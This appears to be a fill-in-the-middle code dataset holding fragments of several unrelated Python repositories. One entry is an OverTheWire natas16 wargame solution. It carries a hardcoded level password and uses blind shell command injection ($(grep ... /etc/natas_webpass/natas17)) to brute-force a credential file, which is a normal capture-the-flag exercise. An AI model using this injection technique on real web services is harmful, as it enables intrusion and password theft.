repo_name
stringlengths
5
100
path
stringlengths
4
231
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
6
947k
score
float64
0
0.34
prefix
stringlengths
0
8.16k
middle
stringlengths
3
512
suffix
stringlengths
0
8.17k
KaiQ/cournal
cournal/mainwindow.py
Python
gpl-3.0
28,342
0.007374
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This file is part of Cournal. # Copyright (C) 2012 Fabian Henze # # Cournal is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, o...
er.layout import Layout from cournal.viewer.tools import pen from cournal.document.document import Document from cournal.document import xojparser from cournal.network import network from cournal.connectiondialog.connectiondialog import ConnectionDialog from cournal.aboutdialog import AboutDialog from cournal.document ...
document import search pdf_filter = Gtk.FileFilter() pdf_filter.add_mime_type("application/pdf") pdf_filter.add_pattern("*.pdf") xoj_filter = Gtk.FileFilter() xoj_filter.add_mime_type("application/x-xoj") xoj_filter.add_pattern("*.xoj") LINEWIDTH_SMALL = 0.7 LINEWIDTH_NORMAL = 1.5 LINEWIDTH_BIG = 8.0 class MainWindo...
ZellMechanik-Dresden/dclab
dclab/rtdc_dataset/feat_anc_core/af_emodulus.py
Python
gpl-2.0
10,014
0
import warnings from ... import features from .ancillary_feature import AncillaryFeature def compute_emodulus_legacy(mm): """This is how it was done in Shape-Out 1""" calccfg = mm.config["calculation"] deprecation_check_model_lut(calccfg) lut_identifier = calccfg["emodulus lut"] medium = calccfg[...
mod def compute_emodulus_known_media(mm): """Only use known media and one temperature for all This is a special case in
:func:`compute_emodulus_legacy`. """ calccfg = mm.config["calculation"] deprecation_check_model_lut(calccfg) lut_identifier = calccfg["emodulus lut"] medium = calccfg["emodulus medium"] assert isinstance(medium, str), "'emodulus medium' must be a string!" if medium not in features.emodulus.v...
MoonCheesez/stack
PiGame/pigame/manage.py
Python
mit
804
0
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pigame.settings") try: from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the ...
Django is missing to avoid masking other # exceptions on Python 2. try: import django except ImportError: raise ImportError( "Couldn't import Django. Are you sure
it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) raise execute_from_command_line(sys.argv)
nathanhicks/Writeups_overthewire.org
natas/natas16/blind_shell_injection.py
Python
mit
640
0.01875
#!/bin/python import req
uests,string url = "http://natas16.natas.labs.overthewire.org" auth_username = "natas16" auth_password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" characters = ''.join([string.ascii_letters,string.digits]) password = [] for i in range(1,34): for char in characters: uri = "{0}?needle=$(grep -E ^{1}{2}.* /etc/
natas_webpass/natas17)hackers".format(url,''.join(password),char) r = requests.get(uri, auth=(auth_username,auth_password)) if 'hackers' not in r.text: password.append(char) print(''.join(password)) break else: continue
maralla/thriftpy
tests/test_json_protocol.py
Python
mit
2,543
0
# -*- coding: utf-8 -*- from thriftpy.protocol import TJSONProtocol from thriftpy.thrift import TPayload, TType from thriftpy.transport import TMemoryBuffer from thriftpy._compat import u import thriftpy.protocol.json as proto class TItem(TPayload): thrift_spec = { 1: (TType.I32, "id"), 2: (TTyp...
ngth = data[0:4] import json data = json.loads(data[4:]) assert length == "\x00\x00\x00S" and data == {
"metadata": {"version": 1}, "payload": {"phones": ["5234", "12346456"], "id": 13}} def test_json_proto_api_read(): obj = TItem(id=13, phones=["5234", "12346456"]) trans = TMemoryBuffer() p = TJSONProtocol(trans) p.write_struct(obj) obj2 = TItem() obj2 = p.read_struct(obj2) ...
EricSchles/pattern
pattern/__init__.py
Python
bsd-3-clause
2,541
0.00669
#### PATTERN ####################################################################################### # Authors: Tom De Smedt <tom@organisms.be>, Walter Daelemans <walter.daelemans@ua.ac.be> # License: BSD License, see LICENSE.txt # Copyright (c) 2010 University of Antwerp, Belgium # All rights reserved. # # Redistri...
imer in # the documentation and/or other materials provided with the # distribution.
# * Neither the name of Pattern nor the names of its # contributors may be used to endorse or promote products # derived from this software without specific prior written # permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED ...
linkitspa/l10n-italy
l10n_it_fatturapa_pec/models/fatturapa_attachment_out.py
Python
agpl-3.0
11,390
0
# -*- coding: utf-8 -*- # Author(s): Andrea Colangelo (andreacolangelo@openforce.it) # Copyright 2018 Openforce Srls Unipersonale (www.openforce.it) # Copyright 2018 Sergio Corato (https://efatto.it) # Copyright 2018-2019 Lorenzo Battistini <https://github.com/eLBati> # License LGPL-3.0 or later (https://www.gnu.org/li...
# out invoice not found, so it is an incoming invoice return message_dict else: _logger.info('Error: FatturaPA {} not found.'.format( file_name)) # TODO Send a mail warning ...
t_out: id_sdi = root.find('IdentificativoSdI') receipt_dt = root.find('DataOraRicezione') message_id = root.find('MessageId') id_sdi = id_sdi.text if id_sdi is not None else False receipt_dt = receipt_dt.text if receipt_dt is not None \ ...
stvstnfrd/edx-platform
openedx/core/djangoapps/schedules/management/commands/tests/test_send_email_base_command.py
Python
agpl-3.0
2,135
0.003747
""" Tests for send_email_base_command """ import datetime from unittest import skipUnless import ddt import pytz from django.conf import settings from mock import DEFAULT, Mock, patch from openedx.core.djangoapps.schedules.management.commands import SendEmailBaseCommand from openedx.core.djangoapps.site_configurati...
17-09-29', weeks=12) assert enqueue.call_count == 12 def test_send_emails(self): with patch.multiple( self.command, offsets=(1, 3, 5),
enqueue=DEFAULT, ): arg = Mock(name='arg') kwarg = Mock(name='kwarg') self.command.send_emails(arg, kwarg=kwarg) assert not arg.called assert not kwarg.called for offset in self.command.offsets: self.command.enqueue...
nagyistoce/eutester
testcases/cloud_user/s3/walrus_concurrency.py
Python
bsd-2-clause
2,530
0.009091
#!/usr/bin/env python import time from concurrent.futures import ThreadPoolExecutor from eucaops import Eucaops from eucaops import S3ops from eutester.eutestcase import EutesterTestCase class WalrusConcurrent(EutesterTestCase): def __init__(self): self.setuptestcase() self.setup_parser() s...
d_count) as executor: for object in thread_pool: thread_pool.append(executor.submit(self.tester.delete_object, object)) if __name__ == "__main__": testcase
= WalrusConcurrent() ### Use the list of tests passed from config/command line to determine what subset of tests to run ### or use a predefined list list = testcase.args.tests or ["Concurrent"] ### Convert test suite methods to EutesterUnitTest objects unit_list = [ ] for test in list: ...
saltstack/salt
tests/pytests/functional/modules/test_ansiblegate.py
Python
apache-2.0
1,245
0.001606
import pytest pytestmark = [ pytest.mark.skip_on_windows(reason="Not supported on Windows"), pytest.mark.skip_if_binaries_missing( "ansible", "ansible-doc", "ansible-playbook", check_all=True, reason="ansible is not installed", ), ] @pytest.fixture def ansible_ping...
sible.ping pytest.fail("Where is the ping function these days in Ansible?!") def test_ansible_functions_loaded(ansible_ping_func): """ Test that the ansible functions
are actually loaded """ ret = ansible_ping_func() assert ret == {"ping": "pong"} def test_passing_data_to_ansible_modules(ansible_ping_func): """ Test that the ansible functions are actually loaded """ expected = "foobar" ret = ansible_ping_func(data=expected) assert ret == {"ping"...
ManiKarnika/python_automation
test/test_add_contact.py
Python
apache-2.0
1,479
0.006761
# -*- coding: utf-8 -*- from model.contact import Contact import pytest import string import random def random_string(prefix, maxlen): symbols = string.ascii_letters + string.digits + " "*10 + string.punctuation return prefix + "".join([random.choice(symbols) for i in range(random.randrange(maxlen))]) def ra...
ark.parametrize("contact", testdata, ids=[repr(y) for y in testdata]) def test_add_contact(app, contact): old_con
tacts = app.user.get_contacts_list() app.user.create(contact) assert len(old_contacts) + 1 == app.user.count() new_contacts = app.user.get_contacts_list() old_contacts.append(contact) assert sorted(old_contacts, key=Contact.id_or_max) == sorted(new_contacts, key=Contact.id_or_max)
rob-smallshire/keeper
tests/__init__.py
Python
mit
221
0
import logging import sys logging.basicConfig(level=logging.DEBUG) console = logging.StreamHandler(sys.stdout) console.setLevel(logging.DEBUG) # add the handler to the root logger loggin
g.getLogger().ad
dHandler(console)
ViaSat/hotcidr
HotCIDR/hotcidr/validation.py
Python
apache-2.0
8,940
0.004698
import difflib import inflect import itertools import logging import netaddr import os import re import toposort import yaml import hotcidr.state def inflect_a(s, p=inflect.engine()): x = p.plural(s) if p.compare(s, x) == 'p:s': return s return p.a(s) logging.basicConfig(format='%(levelname)s %(me...
))) @requires(l
oad_groups) def validate_locations(self): valid_groups = set(self.groups.keys()) for group_name, group in has_rules(self.groups.iteritems()): for rule_num, rule in enumerate(group['rules']
infinidb/emtools
emtools/cluster/__init__.py
Python
gpl-2.0
802
0.001247
# Copyright (C) 2014 InfiniDB, Inc. # # This program is free software; you can redistribute it and/or # modify i
t under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 of # the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See...
copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. """ emtools.cluster Package containing modules for instantiating and interacting with a cluster """
hayderimran7/tempest
tempest/api/compute/admin/test_servers.py
Python
apache-2.0
8,833
0
# Copyright 2013 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t...
nse. from tempest_lib import decorators from tempest.api.compute import base from tempest.common import fixed_network from tempest.common.utils import data_utils from tempest.common import waiters from tempest import test class ServersAdminTestJSON(base.BaseV2ComputeAdminTest): """ Tests Servers API using ...
cls.client = cls.os_adm.servers_client cls.non_admin_client = cls.servers_client cls.flavors_client = cls.os_adm.flavors_client @classmethod def resource_setup(cls): super(ServersAdminTestJSON, cls).resource_setup() cls.s1_name = data_utils.rand_name('server') server =...
dprince/dogpile.cache
dogpile/cache/backends/file.py
Python
bsd-3-clause
9,009
0.000444
""" File Backends ------------------ Provides backends that deal with local filesystem access. """ from __future__ import with_statement from dogpile.cache.api import CacheBackend, NO_VALUE from contextlib import contextmanager from dogpile.cache import compat from dogpile.cache import util import os import fcntl _...
try: yield finally: self.release_read_lock() @contextmanager def write(self): self.acquire_write_lock(True) try: yield finally: self.release_write_lock() def acquire_read_lock(self, wait): return self._acquire(wait, ...
return self._acquire(wait, os.O_WRONLY, fcntl.LOCK_EX) def release_read_lock(self): self._release() def release_write_lock(self): self._release() def _acquire(self, wait, wrflag, lockflag): wrfla
muppetjones/rempipe
tests/cmds/test_align.py
Python
gpl-3.0
3,934
0
import os.path import unittest from unittest.mock import patch import libpipe from libpipe.cmds.align import HisatCmd import logging log = logging.getLogger(__name__) class TestHistatCmd(unittest.TestCase): def setUp(self): # prevent error logs from occuring during testing patcher = patch.objec...
: hc = self.sample_cmd() hc.kwargs['-1'] = hc.kwargs['-U'] del hc.kwargs['-U'] with self.assertRaises(AttributeError): hc.cmd() de
f test_addreq_raises_FileNotFoundError_if_n_idx_ne_expected(self): with patch('remsci.lib.utility.path.walk_file') as m: for i in [0, 100]: with self.subTest(n_indx=i): m.return_value = [0] * i hc = self.sample_cmd() with s...
xenu256/QProb
aggregator/templatetags/aggregator_filters.py
Python
lgpl-3.0
265
0
from django import template from django.forms.forms import BoundField register = template.Library() @register.filter(name="divide") def divide(v1, v2): try: return fl
oat(v1) / float(v2) except (ValueError, ZeroDivisionError): ret
urn None
RasaHQ/rasa_nlu
tests/shared/core/training_data/story_writer/test_yaml_story_writer.py
Python
apache-2.0
9,414
0.001168
from pathlib import Path import textwrap from typing import Text from collections import OrderedDict import pytest from rasa.shared.core.constants import ( ACTION_SESSION_START_NAME, ACTION_LISTEN_NAME, ACTION_UNLIKELY_INTE
NT_NAME, ) from rasa.shared.core.domain import Domain from rasa.shared.core.events import ( ActionExecuted, UserUttered, DefinePrevUserUtteredFeaturization, ) from rasa.shared.core.trackers import DialogueStateTracker from rasa.shared.core.training_data.story_reader.yaml_story_reader import ( YAMLStoryR...
from rasa.shared.core.training_data.story_writer.yaml_story_writer import ( YAMLStoryWriter, ) from rasa.shared.core.training_data.structures import STORY_START @pytest.mark.parametrize( "input_yaml_file", [ "data/test_yaml_stories/stories.yml", "data/test_yaml_stories/stories_defaultdomai...
mscoutermarsh/exercism_coveralls
assignments/python/beer-song/example.py
Python
agpl-3.0
1,182
0.000846
class Beer(object): def sing(self, first, last=0): verses = '' for number in reversed(range(last, first + 1)): verses += self.verse(number)
+ '\n' return verses
def verse(self, number): return ''.join([ "%s of beer on the wall, " % self._bottles(number).capitalize(), "%s of beer.\n" % self._bottles(number), self._action(number), self._next_bottle(number), ]) def _action(self, current_verse): if curr...
turbokongen/home-assistant
tests/components/tasmota/test_binary_sensor.py
Python
apache-2.0
13,088
0.000993
"""The tests for the Tasmota binary sensor platform.""" import copy from datetime import timedelta import json from unittest.mock import patch from hatasmota.utils import ( get_topic_stat_result, get_topic_stat_status, get_topic_tele_sensor, get_topic_tele_will, ) from homeassistant.components import ...
e_mqtt_message( hass, "tasmota_49A3BC/stat/RESULT", '{"Custom Name":{"Action":"ON"}}' ) state = hass.states.get("binary_sensor.custom_name") assert state.state == STATE_ON async_fire_mqtt_message( hass, "tasmota_49A3BC/stat/RESULT", '{"Custom Name":{"Action":"OFF"}}' ) state = h...
ic state update async_fire_mqtt_message(hass, "tasmota_49A3BC/tele/SENSOR", '{"Custom Name":"ON"}') state = hass.states.get("binary_sensor.custom_name") assert state.state == STATE_ON async_fire_mqtt_message(hass, "tasmota_49A3BC/tele/SENSOR", '{"Custom Name":"OFF"}') state = hass.states.get("binar...
mitkin/avhrr-sic-analysis
satistjenesten/data.py
Python
mit
7,349
0.004354
import collections import yaml import netCDF4 import numpy as np from pyresample import geometry from pyresample import kd_tree from pyresample import utils from pyresample import grid from satistjenesten.utils import get_area_filepath class GenericScene(object): """ Generic Scene object It is a parent class...
Dict() band_dicts = self.config_dict['bands'] for (band_name, band_value) in zip(band_dicts.keys(), band_dicts.values()): band = SatBand() nc_dataset = get_netcdf_filehandle(self.input_filename) band.data = nc_dataset.variables[band_name][:] band.long_name...
_filehandle(self.input_filename) self.latitudes = nc_dataset.variables[self.config_dict['latitudes_name']][:] self.longitudes = nc_dataset.variables[self.config_dict['longitudes_name']][:] def load_scene_from_disk(self): self.load_config_from_file() self.get_bands() self.get...
trauzti/mimir
pymimir/LRU10.py
Python
isc
2,061
0.003882
import random import time # Takes k random sample items from the cache and evicts the oldest item # This is the same algorithm as allkeys-lru in Redis (there k=3 by default) from common import Entry class alg: def __repr__(self): return "LRU10" def __init__(self, c): random.seed(1337) ...
oldest_key = o_key assert oldest_i != None assert oldest_key != None del self.stored[oldest_key] self.cache[oldest_i] = key else: self.cn += 1
self.cache.append(key) e = Entry(key, value) e.timestamp = current_time self.stored[key] = e return 1 else: return 0
mblaauw/CollectDutchBookFeatures
bol-interface.py
Python
mit
2,397
0.003755
################################################################################# # MODULE: bol-interface ################################################################################# from bs4 import BeautifulSoup from urllib2 import urlopen import urllib def scrape_isbn_list(category='thrillers', test=True): ...
eachItem * 12) + '/section/books/index.html' # Get LITERATURE Cat - Est. 45000 if category.lower() == 'literature': new_url = 'http://www.bol.com/nl/l/nederlandse-boeken/nederlandse-boeken-literatuur-nieuw/N/87+8293+14033/No/' + str( eachItem *...
oks/index.html' html = urlopen(new_url).read() soup = BeautifulSoup(html, 'lxml') for eachRow in list(soup.find_all('a', 'product_name')): unique.append(eachRow.get('href')) # clean the list and return from function unique_result = list() fo...
sideeffects/stats_core
stats_main/migrations/0001_initial.py
Python
mit
6,720
0.008333
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import dbs import south.db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): db = dbs['stats'] db.dry_run = south.db.db.dry_run ...
self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)), )) db.send_create_signal(u'stats_main', ['LogId']) # Adding model 'Event' db.create_table(u'stats_main_event', ( (u'id', self.gf('django
.db.models.fields.AutoField')(primary_key=True)), ('title', self.gf('django.db.models.fields.CharField')(max_length=40)), ('date', self.gf('django.db.models.fields.DateTimeField')()), ('description', self.gf('django.db.models.fields.TextField')(default='', blank=True)), (...
theJollySin/python_for_scientists
classes/04_advanced_strings/problem_set_1_solutions.py
Python
gpl-3.0
3,426
0.005254
"""Complete the main method in this script, by completing the methods described.""" from pprint import pprint FILENAME = 'fat_kakapo.txt' DOUGLAS_ADAMS_QUOTE = '''The kakapo is an extremely fat bird. A good-sized adult will weigh about six or seven pounds, and its wings are just about good for waggling a bit if it th...
eides', '
Spice...\n'] Output Example: ['Arrakis', 'PaulAtreides', 'Spice'] """ for i, line in enumerate(lines): new_line = '' for c in line: if c.isalpha(): new_line += c lines[i] = new_line return lines def make_lowercase(lines): """This functio...
eliran-stratoscale/rackattack-physical
rackattack/physical/tests/integration/fakeipmitool.py
Python
apache-2.0
2,252
0.00222
import os import time import yaml import random import argparse from rackattack.physical import pikapatch from rackattack.physical.tests.integration.main import useFakeRackConf, useFakeIPMITool intervalRanges = {0: (0.01, 0.05), 0.85: (0.3, 0.6), 0.95: (2, 4)} rangesProbabilities = intervalRanges.keys() rangesProbabi...
* (chosenRange[1] - chosenRange[0]) time.sleep(interval) print random.choice(possibleOutputLines) def main(args): useFakeRackConf() useFakeIPMITool() if args.I != "lanplus": assert args.I is None action = dict(power=power, sol=sol).get(args.action) action(args.subaction) ...
ne, type=str) parser.add_argument("-U", default=None, type=str) parser.add_argument("-P", default=None, type=str) parser.add_argument("-R", default=1, type=int) parser.add_argument("action", default=None, type=str) parser.add_argument("subaction", default=None, type=str) args = parser.parse_args...
WouterVH/bots
src/bots/bots_ordereddict.py
Python
gpl-3.0
4,249
0
# -*- coding: utf-8 -*- # Copyright (c) 2009 Raymond Hettinger # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use,...
tware is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS I
S", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER I...
Amber819/chatbot_AM
seq2seq_dialog.py
Python
mit
12,121
0.002888
from __future__ import absolute_import from __future__ import print_function from data_utils import load_dialog_task, vectorize_data, load_candidates, \ vectorize_seq2seq_fix, tokenize, vectorize_seq2seq, vectorize_candidates import metrics from memn2n import SeqN2NDialog from itertools import chain from six.moves...
valS) print("Training Size", n_train) print("Validation Size", n_val) tf.set_random_seed(self.random_state) batches = zip(range(0, n_train - self.batch_size, self.batch_size), range(self.batch_size, n_train, self.batch_size))
batches = [(start, end) for start, end in batches] self.best_validation_perresponse = 0 self.best_validation_entity_f1 = 0 self.best_validation_bleu = 0 self.sample_output(trainS[:10], trainA[:10], trainA[:10]) for t in range(1, self.epochs + 1): np.random.shuffle(b...
JeffsanC/uavs
src/rpg_vikit/vikit_py/src/vikit_py/depthmap_utils.py
Python
gpl-2.0
1,962
0.028542
# -*- coding: utf-8 -*- import numpy as np import os import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1 import make_axes_locatable def load_depthmap(depthmap_full_file_path, depthmap_rows, depthmap_cols, fileformat=np.float32, is_megapov_depthmap = 0): depth_array = [] if depthmap_ful...
e) divider = make_axes_locatable(ax) cax = divider.append_axes
("right", size="5%", pad=0.05) plt.colorbar(im, cax=cax)
gfarmerfr/nicotine-plus
pynicotine/gtkgui/userbrowse.py
Python
gpl-3.0
34,287
0.001721
# -*- coding: utf-8 -*- # # COPYRIGHT (C) 2016-2017 Michael Labouebe <gfarmerfr@free.fr> # COPYRIGHT (C) 2013 SeeSchloss <see@seos.fr> # COPYRIGHT (C) 2009-2010 Quinox <quinox@users.sf.net> # COPYRIGHT (C) 2006-2009 Daelstorm <daelstorm@gmail.com> # COPYRIGHT (C) 2003-2004 Hyriand <hyriand@thegraveyard.org> # # GNU GEN...
("", None), ("#" + _("Copy _URL"), self.OnCopyDirURL), ("#" + _("Open in File Manager"), self.OnFileManager) ) else: self.folder_popup_menu.setup( ("USERMENU", _("User"), self.popup_menu_users, self.OnPopupMenuFolderUser),
("", None), (1, _("Download"), self.popup_menu_downloads_folders, self.OnPopupMenuDummy), ("", None), ("#" + _("Copy _URL"), self.OnCopyDirURL) ) self.FolderTreeView.connect("button_press_event", self.OnFolderClicked) self.FolderTree...
stableShip/redis_pubsub_demo
redis_pub.py
Python
mit
122
0
# coding=ut
f-8 __author__ = 'JIE' import redis r = redis.StrictRedis() r.set("test2", 123) r.publish("channel",
"test2")
marinho/django-plus
djangoplus/__init__.py
Python
lgpl-3.0
468
0.012821
VERSION = (1, 2, 21) def get_version(): return '%d.%d.%d'%VERSION __author__ = 'Marinho Brandao' #__date__ = '$Date: 2008-07-26 14:04:51 -0300 (Ter, 26 Fev 2008) $'[7:-2] __license__ = 'GNU Lesser General Public License (LGPL)
' __url__ = 'http://django-plus.googlecode.com' __version__ = get_version() def get_dynamic_template(slug, context=None): from models import DynamicTemplate return Dynami
cTemplate.objects.get(slug=slug).render(context or {})
voidpp/vcp
vcp/project.py
Python
mit
12,036
0.004071
import os import shutil import logging from voidpp_tools.terminal import get_size from collections import OrderedDict import re from datetime import timedelta, datetime from .repository_command_result_box import RepositoryCommandResultBox from .exceptions import ProjectException, RepositoryCommandException from .proje...
if not repo_exists or init_languages: for lang in self.languages: lan
g.init() if not lang.env.get_status(): status[self.name] = False return True except (Exception, KeyboardInterrupt) as e: logger.exception("Error during initialize '{}'. Reverting all the work. Traceback:".format(self.name)) self.pu...
JonasWallin/logisticnormal
logisticnormal/PurePython/multivariatenormal.py
Python
gpl-3.0
2,152
0.05948
''' Created on Jun 30, 2014 @author: jonaswallin ''' import copy as cp import numpy as np import pickle class Multivariatenormal(object): ''' Class for sampling from a Multivariate normal distribution on the form f(X| Y, \Sigma, \mu_p, \Sigma_p) \propto N(Y; X, \Sigma) N(X; \mu_p, \Sigma_p) ''' def pickle(s...
if param != None: self.set_parameter(param) def set_prior(self,prior): """ """ self.mu_p = np.zeros_like(prior['mu']) self.mu_p[:] = prior['mu'][:] self.Sigma_p = np.zeros_like(prior['Sigma']) self.Sigma_p[:] = prior['Sigma'][:] self.Q_p = np.linalg.inv(self.Sigma_p) self.Q_pmu_p = np.dot(se...
eter): """ parameter should be a dictonray with 'Sigma' """ self.Sigma = np.zeros_like(parameter['Sigma']) self.Sigma[:] = parameter['Sigma'][:] self.Q = np.linalg.inv(self.Sigma) self.d = self.Q.shape[0] def set_data(self, Y): """ Y - (nxd) numpy vector """ self.Y = np.zeros_like(Y) ...
karesansui/karesansui
karesansui/gadget/guestby1device.py
Python
mit
11,405
0.004121
# -*- coding: utf-8 -*- # # This file is part of Karesansui. # # Copyright (C) 2009-2012 HDE, Inc. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without lim...
guests += self.kvc.list_inactive_guest() guests += self.kvc.list_active_guest() for guest in guests: already_vol = self.kvc.get_storage_volume_bydomain(domain=guest, image_type=None, ...
attr='path') if already_vol: already_vols += already_vol.keys() for pool in pools: pool_obj = self.kvc.search_kvn_storage_pools(pool)[0] if pool_obj.is_active() is True: po...
Debian/britney2
britney2/transaction.py
Python
gpl-2.0
4,712
0.000424
class MigrationTransactionState(object): def __init__(self, suite_info, all_binaries,
parent=None): self._suite_info = suite_info self._all_binaries = all_binaries self.parent_transaction = parent self._is_rolled_back = False self._is_co
mmitted = False self._undo_items = [] self._pending_child = False if self.parent_transaction: # Transactions can only support one child transaction at a time assert not self.parent_transaction._pending_child self.parent_transaction._pending_child = True d...
victor-rene/MicroScada
archive/day_13/datastore.py
Python
mit
1,020
0.028431
import sqlite3 import datetime class DataStore: def __init__(self): self.conn = None def r
ead(variable): if self.is_connected(): c = self.conn.cursor() t = (variable.name,) c.execute('SELECT * FROM curve WHERE name=? ORDER BY time ASC', t) return c.fetchall() else: print 'Not connected' return None def write(self, variable): if self.conn != None: ...
INTO curve(name, value, time) VALUES ' + str(t)) self.conn.commit() else: print 'Not connected' def connect(self, connstr): if not self.is_connected(): self.conn = sqlite3.connect(connstr) print 'Connection opened' else: print 'Already connected' def disconnect(self): ...
troelsfr/BatchQ
batchq/contrib/examples/tutorial2_hello_world.py
Python
mit
335
0.008955
from batchq.core import
batch class Pipeline(object): def hello_world(self): print "Hello world" def hello_batchq(self): print "Hello BatchQ" class HelloWorld(batch.BatchQ): ctrl = batch.Controller(Pipeline) fnc = batch.Function().hello_world().hello_batchq() instance = HelloWorld() ins
tance.fnc()
GoogleCloudPlatform/mlops-on-gcp
immersion/guided_projects/guided_project_2_solution/models/keras/model.py
Python
apache-2.0
11,500
0.009826
# Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
in deep_columns } # Defines wide feature columns and input layers. categorical_columns = [ tf.feature_column.categorical_column_with_identity( key=features.transformed_name(key), num_buckets=tf_transform_output.num_buckets_for_transformed_feature(features.transformed_name(key)), ...
lue=0) for key in features.CATEGORICAL_FEATURE_KEYS ] wide_columns = [ tf.feature_column.indicator_column(categorical_column) for categorical_column in categorical_columns ] input_layers.update({ column.categorical_column.key: tf.keras.layers.Input(name=column.categorical_column.ke...
hivam/doctor
doctor_invoice.py
Python
agpl-3.0
18,509
0.004754
# -*- coding: utf-8 -*- # ############################################################################# # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GN...
'patient_id': fields.many2one('doctor.patient', "Patient"), 'amount_untaxed': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Subtotal', track_visibility='always', store={ ...
( lambda self, cr, uid, ids, c={}: ids, ['invoice_line'], 20), 'account.invoice.tax': (_get_invoice_tax, None, 20), 'account.invoice.line': (_get_invoice_line, ...
xguse/outspline
src/outspline/conf/core.py
Python
gpl-3.0
1,547
0
# Outspline - A highly modular a
nd extensible outliner. # Copyright (C) 2011-2014 Dario Giovannetti <dev@dariogiovannetti.net> # # This file is part of Outspline. # #
Outspline is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Outspline is distributed in the hope that it will be useful, # but WITHOU...
scorphus/sparring
advent-of-code/2021/day-15-part-1.py
Python
mit
803
0
import heapq with open("day-15.txt") as f: lines = [line for line in f.read().rstrip().splitlines()] graph = {} for i, row in enumerate(lines): for j, n in enumerate(row): graph[i, j] = int(n) DELTAS = ( (0, 1), (1, 0), (-1, 0), (0, -1), ) def find_lowest_risk(graph, start, end): ...
pq.heappop(queue) if (i, j) == end:
return risk for di, dj in DELTAS: ni, nj = i + di, j + dj if (ni, nj) in graph and (ni, nj) not in seen: seen.add((ni, nj)) heapq.heappush(queue, (risk + graph[ni, nj], ni, nj)) size = len(lines) end = size - 1, size - 1 risk = find_lowest_ris...
yhilpisch/rpi
doc/_store/mail.py
Python
bsd-2-clause
1,304
0.004601
# # Sending emails in combination # with Motion surveillance software # # (c) Dr. Yves J. Hilpisch # The Python Quants GmbH # import smtplib from datetime import datetime from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText def prompt(prompt): return raw_input(prompt).strip() fromad...
gth is " + repr(len(msg)) smtp = smtplib.SMTP() # smtp.starttls() smtp.set_debuglevel(1) smtp.connect('smtp.hilpisch.com', 587)
smtp.login('hilpisch13', 'henrynikolaus06') text = msg.as_string() smtp.sendmail(fromaddr, toaddrs, text) smtp.quit() print text
rosarior/rua
rua/apps/acls/forms.py
Python
gpl-3.0
2,153
0.002787
from __future__ import absolute_import from django import forms from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.models import User, Group from permissions.models import Role from common.utils import get_object_name from common.models imp
ort AnonymousUserSingleton from .classes import AccessHolder from .models import CreatorSingleton def _as_choice_list(holders): return sorted([(AccessHolder.enc
apsulate(holder).gid, get_object_name(holder, display_object_type=False)) for holder in holders], key=lambda x: x[1]) class BaseHolderSelectionForm(forms.Form): holder_gid = forms.ChoiceField( label=_(u'New holder') ) def __init__(self, *args, **kwargs): current_holders = kwargs.pop('curr...
rocket-league-replays/rocket-league-replays
rocket_league/apps/replays/migrations/0036_auto_20160409_1246.py
Python
gpl-3.0
1,383
0.002169
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import social.apps.django_app.default.fields import django.core.validators class Migration(migrations.Migration): dependencies = [ ('replays', '0035_auto_20160326_1121'), ] operations = [ ...
me='ID', serialize=False, auto_created=True)), ('frame', models.PositiveIntegerField()), ('value', models.PositiveIntegerField(validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(255)])), ], options={ '...
field=social.apps.django_app.default.fields.JSONField(blank=True, null=True, default='{}'), ), migrations.AddField( model_name='boostdata', name='player', field=models.ForeignKey(to='replays.Player'), ), migrations.AddField( model_na...
phobson/seaborn
seaborn/external/six.py
Python
bsd-3-clause
30,099
0.000897
